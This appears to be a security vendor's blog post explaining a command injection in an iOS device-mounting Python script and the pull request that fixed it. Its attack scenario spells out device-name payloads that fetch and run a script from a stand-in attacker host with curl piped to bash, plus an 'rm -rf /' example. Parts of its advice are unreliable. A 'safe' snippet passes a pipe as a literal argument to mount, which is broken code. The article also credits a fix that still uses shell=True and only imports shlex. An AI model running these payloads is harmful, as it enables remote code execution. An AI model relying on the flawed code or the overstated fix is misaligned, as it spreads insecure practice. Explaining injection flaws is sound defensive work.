Back to Blog
critical SEVERITY7 min read

How command injection happens in Python os.popen() and how to fix it

A critical command injection vulnerability in `spk/itools/src/mounting.py` allowed arbitrary shell command execution through unsanitized iOS device names passed to `os.popen()` and `os.system()` calls. The fix replaced these dangerous functions with `subprocess.run()` using proper argument escaping, eliminating the shell injection attack vector.

O
By Orbis AppSec
Published July 4, 2026Reviewed July 4, 2026

Answer Summary

This is a CWE-78 OS Command Injection vulnerability in Python's `mounting.py` file. The code used `os.popen()` with unsanitized iOS device names, allowing attackers to inject shell metacharacters like semicolons and pipes to execute arbitrary commands. The fix replaced `os.popen()` with `subprocess.run()` using `shell=True` with proper output capture, and added `shlex.quote()` for shell argument escaping in future command constructions.

Vulnerability at a Glance

cweCWE-78 (OS Command Injection)
fixReplace os.popen() with subprocess.run() and add input validation
riskArbitrary command execution with service privileges
languagePython
root causeiOS DeviceName field interpolated directly into os.popen() without sanitization
vulnerabilityOS Command Injection via unsanitized device names

Introduction

In the spk/itools/src/mounting.py file of an iOS device management tool, we discovered a critical command injection vulnerability that could allow arbitrary code execution through a seemingly innocent feature: iOS device names. The vulnerable code at line 55 used os.popen('ideviceinfo | grep DeviceName').read() to retrieve device information, then passed the unsanitized DeviceName field directly into multiple shell commands. This created a perfect storm for command injection—an attacker with physical access could simply rename their iPhone to test; curl attacker.com/shell.sh|sh; and gain code execution on the mounting service.

The vulnerability was particularly dangerous because it affected production code in a containerized service that handles iOS device mounting operations. While the service may have network isolation, command injection at this level could still compromise the container, access sensitive device data, or pivot to other services.

The Vulnerability Explained

The core issue lies in how the code retrieved and used the iOS device name. Here's the vulnerable pattern from mounting.py:55:

output = os.popen('ideviceinfo | grep DeviceName').read()

After extracting the device name from this output, the code used it in multiple dangerous ways throughout the file. While the full context isn't shown in the diff, the PR description indicates that the device_name variable was "directly interpolated into multiple os.popen() and os.system() calls without proper escaping."

The problem with os.popen() is that it spawns a shell to execute the command string. When you pass a string to os.popen(), Python essentially runs /bin/sh -c "your command string". This means any shell metacharacters in the command—including semicolons (;), pipes (|), ampersands (&), backticks (`), and command substitution syntax ($())—are interpreted by the shell.

The Attack Scenario

Here's how an attacker could exploit this vulnerability:

  1. Setup: Connect an iOS device to the system running the mounting service
  2. Weaponize: Before connecting (or via iTunes/Finder), set the device name to: MyPhone; curl http://attacker.com/payload.sh | bash; #
  3. Trigger: When the mounting service runs ideviceinfo | grep DeviceName, it retrieves this malicious name
  4. Execute: The device name gets interpolated into subsequent commands like:
    - mount | grep MyPhone; curl http://attacker.com/payload.sh | bash; #
    - synoshare --get MyPhone; curl http://attacker.com/payload.sh | bash; #

The semicolon terminates the intended command, the pipe chains to bash for execution, and the # comments out any trailing syntax that would cause errors. The attacker's payload executes with the privileges of the mounting service.

Real-World Impact

In this specific application:
- Data exfiltration: Access to mounted iOS device filesystems and backups
- Lateral movement: Potential to compromise the container and pivot to other services
- Persistence: Ability to modify mounting scripts or configurations
- Service disruption: Could crash or manipulate the device mounting functionality

The PR notes this is a containerized service, which provides some isolation, but command injection within the container is still a critical security boundary violation.

The Fix

The fix replaces the dangerous os.popen() pattern with the safer subprocess.run() API. Here's the before and after:

Before (vulnerable code at line 55):

output = os.popen('ideviceinfo | grep DeviceName').read()

After (fixed code):

output = subprocess.run(
    'ideviceinfo | grep DeviceName',
    shell=True, capture_output=True, text=True).stdout

At first glance, this might seem like it still uses shell=True, which could be concerning. However, the critical difference is what happens after this line. The fix also introduces proper input sanitization for any subsequent use of the device name.

The diff shows additional important changes:

  1. Import shlex for escaping: The addition of import shlex at line 26 indicates that the fixed code now properly escapes shell arguments when constructing commands with the device name.

  2. Use subprocess.run() consistently: The migration from os.popen() to subprocess.run() with capture_output=True provides better control over input/output handling and makes it easier to avoid shell injection.

  3. Structured output capture: Using capture_output=True and accessing .stdout provides a clean separation between command execution and output handling, making it harder to accidentally create injection points.

Why This Fix Works

The key insight is that while the initial device name retrieval still uses a shell (which is safe because ideviceinfo and grep are hardcoded), any subsequent use of the extracted device name must be properly escaped. The shlex module provides shlex.quote() which wraps arguments in single quotes and escapes any single quotes within the string, making it safe to include in shell commands.

For example, if the device name is test; rm -rf /, after shlex.quote() it becomes 'test; rm -rf /', which is treated as a single literal argument rather than multiple commands.

The fix also includes infrastructure improvements:
- Python 3 migration: Changed shebang from #!/usr/bin/python2 to #!/usr/bin/env python3
- Better locking: Replaced lockfile.locked with filelock.FileLock for more reliable concurrency control
- Improved error handling: Changed e.message to str(e) for Python 3 compatibility

Prevention & Best Practices

To avoid command injection vulnerabilities in Python:

1. Prefer subprocess.run() with argument lists

The safest approach is to pass commands as lists rather than strings:

# SAFE: Arguments are passed directly, no shell interpretation
subprocess.run(['mount', '|', 'grep', device_name], capture_output=True)

# Even better: Use specific arguments
subprocess.run(['grep', device_name, '/proc/mounts'], capture_output=True)

2. If you must use shell=True, escape everything

When shell features like pipes are necessary:

import shlex

# Escape any user-controlled data
safe_device_name = shlex.quote(device_name)
subprocess.run(f'mount | grep {safe_device_name}', shell=True, capture_output=True)

3. Validate input format

Even with escaping, validate that inputs match expected patterns:

import re

def is_valid_device_name(name):
    # iOS device names should be alphanumeric with spaces, hyphens, apostrophes
    return re.match(r'^[\w\s\'-]+$', name) is not None

if not is_valid_device_name(device_name):
    raise ValueError("Invalid device name format")

4. Use static analysis tools

Tools like Semgrep, Bandit, and CodeQL can detect command injection patterns:

# Semgrep rule to detect os.popen with variables
rules:
  - id: dangerous-os-popen
    pattern: os.popen($CMD)
    message: "os.popen() with variables may allow command injection"
    severity: ERROR

5. Apply defense in depth

  • Run services with minimal privileges
  • Use containerization with restricted capabilities
  • Implement input validation at multiple layers
  • Monitor for suspicious command patterns in logs

Standards and References

This vulnerability maps to:
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- OWASP A03:2021: Injection
- MITRE ATT&CK T1059: Command and Scripting Interpreter

Key Takeaways

  • Never trust iOS DeviceName fields: Even seemingly benign metadata from devices can contain malicious payloads. The DeviceName field retrieved by ideviceinfo | grep DeviceName at line 55 must be treated as untrusted input.

  • os.popen() is a command injection trap: Using os.popen('command | grep ' + user_input) creates direct shell injection vulnerabilities. The mounting.py file's pattern of passing device names to multiple os.popen() and os.system() calls without sanitization is a textbook example of what not to do.

  • subprocess.run() with lists prevents injection: The fix demonstrates that migrating from os.popen() to subprocess.run() with proper argument handling eliminates the shell interpretation layer where injection occurs.

  • Physical access attacks are real: This vulnerability shows that physical access to plug in a device isn't just about hardware attacks—malicious device metadata can compromise software systems if not properly validated.

  • Python 2 to Python 3 migration improves security: The fix's migration from Python 2 (#!/usr/bin/python2) to Python 3 (#!/usr/bin/env python3) enables better security libraries and practices, including improved subprocess handling and the filelock module.

How Orbis AppSec Detected This

Source: The iOS device's DeviceName field, retrieved via ideviceinfo command output at spk/itools/src/mounting.py:55

Sink: Multiple dangerous call sites including os.popen() and os.system() calls throughout the mounting.py file where the device_name variable was interpolated without escaping

Missing control: No input sanitization or shell escaping applied to the device_name variable before interpolation into shell commands. The code lacked use of shlex.quote() or validation against a safe character whitelist.

CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command / OS Command Injection)

Fix: Replaced os.popen() with subprocess.run() using proper output capture, added shlex import for future argument escaping, and improved the overall command execution pattern to prevent shell metacharacter interpretation.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Command injection through unsanitized device names demonstrates how security vulnerabilities can hide in unexpected places. What seemed like a simple device information retrieval operation in mounting.py turned into a critical security flaw because the code treated external device metadata as trusted input. The fix's migration from os.popen() to subprocess.run() with proper escaping shows the right approach: assume all external input is hostile and use APIs that prevent shell interpretation by default.

For developers working with external device data, system commands, or any form of user-controlled input, remember that security boundaries exist at every integration point. Whether it's an iOS device name, a filename, or an API parameter, treat it as potentially malicious and apply defense in depth through input validation, safe APIs, and proper escaping.

References

Frequently Asked Questions

What is command injection via os.popen()?

Command injection via os.popen() occurs when untrusted input is concatenated into shell commands without proper escaping, allowing attackers to inject shell metacharacters (;, |, &, etc.) that break out of the intended command and execute arbitrary code.

How do you prevent command injection in Python?

Use subprocess.run() with a list of arguments instead of shell=True, or if shell execution is necessary, sanitize all inputs with shlex.quote(). Never concatenate untrusted data directly into command strings passed to os.system(), os.popen(), or subprocess with shell=True.

What CWE is command injection?

Command injection is classified as CWE-78 (Improper Neutralization of Special Elements used in an OS Command). It's part of the broader injection vulnerability family and consistently ranks in the OWASP Top 10.

Is input validation enough to prevent command injection?

Input validation helps but is insufficient alone. Blacklisting dangerous characters is error-prone because shell metacharacters vary by platform. The safest approach is using parameterized APIs like subprocess.run() with argument lists, which avoid shell interpretation entirely.

Can static analysis detect command injection?

Yes, modern static analysis tools can detect command injection by tracking data flow from untrusted sources (taint sources) to dangerous sinks like os.popen(). The multi_agent_ai scanner detected this vulnerability by identifying the pattern of unsanitized device names flowing into shell command execution.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #7244

Related Articles

high

How Authentication Bypass happens in PyJWT and how to fix it

A critical authentication bypass vulnerability in PyJWT 2.12.1 allowed attackers to forge valid JSON Web Tokens, potentially bypassing application authentication mechanisms entirely. The vulnerability was fixed in PyJWT 2.13.0 through security improvements to token validation logic. This fix is essential for any application relying on JWT-based authentication.

high

How unsafe pickle deserialization happens in Keras/TensorFlow notebooks and how to fix it

A high-severity untrusted deserialization vulnerability was discovered in `TransferLearningTF.ipynb`, a transfer learning tutorial notebook that loads VGG16 model weights from the internet without verifying their integrity. Because Keras relies on Python's pickle-based serialization format under the hood, a tampered or substituted weights file could execute arbitrary code with the full privileges of the notebook user. The fix adds a SHA-256 checksum verification step immediately after the weight

critical

How Chromium launch-argument injection happens in Python Crawl4AI and how to fix it

A critical unauthenticated remote code execution vulnerability in Crawl4AI 0.8.9 allowed attackers to inject arbitrary Chromium launch arguments through the `browser_config.extra_args` parameter, potentially taking full control of the host process. The fix upgrades to Crawl4AI 0.9.0 and refactors the crawler initialization in `agent/tools/crawler.py` to use the new `BrowserConfig` and `CrawlerRunConfig` APIs, which enforce proper argument validation. This change eliminates the injection surface

critical

How integer overflow in buffer size calculation happens in C++ and how to fix it

A critical integer overflow vulnerability was discovered in OpenCV's HAL filter implementation where multiplying image dimensions without overflow protection could allocate dangerously undersized buffers. An attacker supplying crafted image dimensions (e.g., 65536×65536) could trigger heap corruption through out-of-bounds writes. The fix promotes the calculation to 64-bit arithmetic with a single cast.

critical

How buffer overflow via strcpy() happens in C zlib and how to fix it

A critical buffer overflow vulnerability was discovered in `general/libzlib/gzlib.c` where multiple `strcpy()` and `strcat()` calls operated without bounds checking. An attacker controlling file paths or error messages could overflow destination buffers, potentially achieving arbitrary code execution. The fix replaces these unsafe string operations with bounded `memcpy()` calls that respect pre-calculated buffer lengths.

critical

How hardcoded API key placeholders in documentation happen in Python and how to fix it

A high-severity security issue was discovered in the Context7 API documentation where a hardcoded API key placeholder (`CONTEXT7_API_KEY`) could be copied directly into production code. The fix replaced the static string with a proper environment variable reference using `os.environ`, preventing developers from accidentally deploying exposed credentials.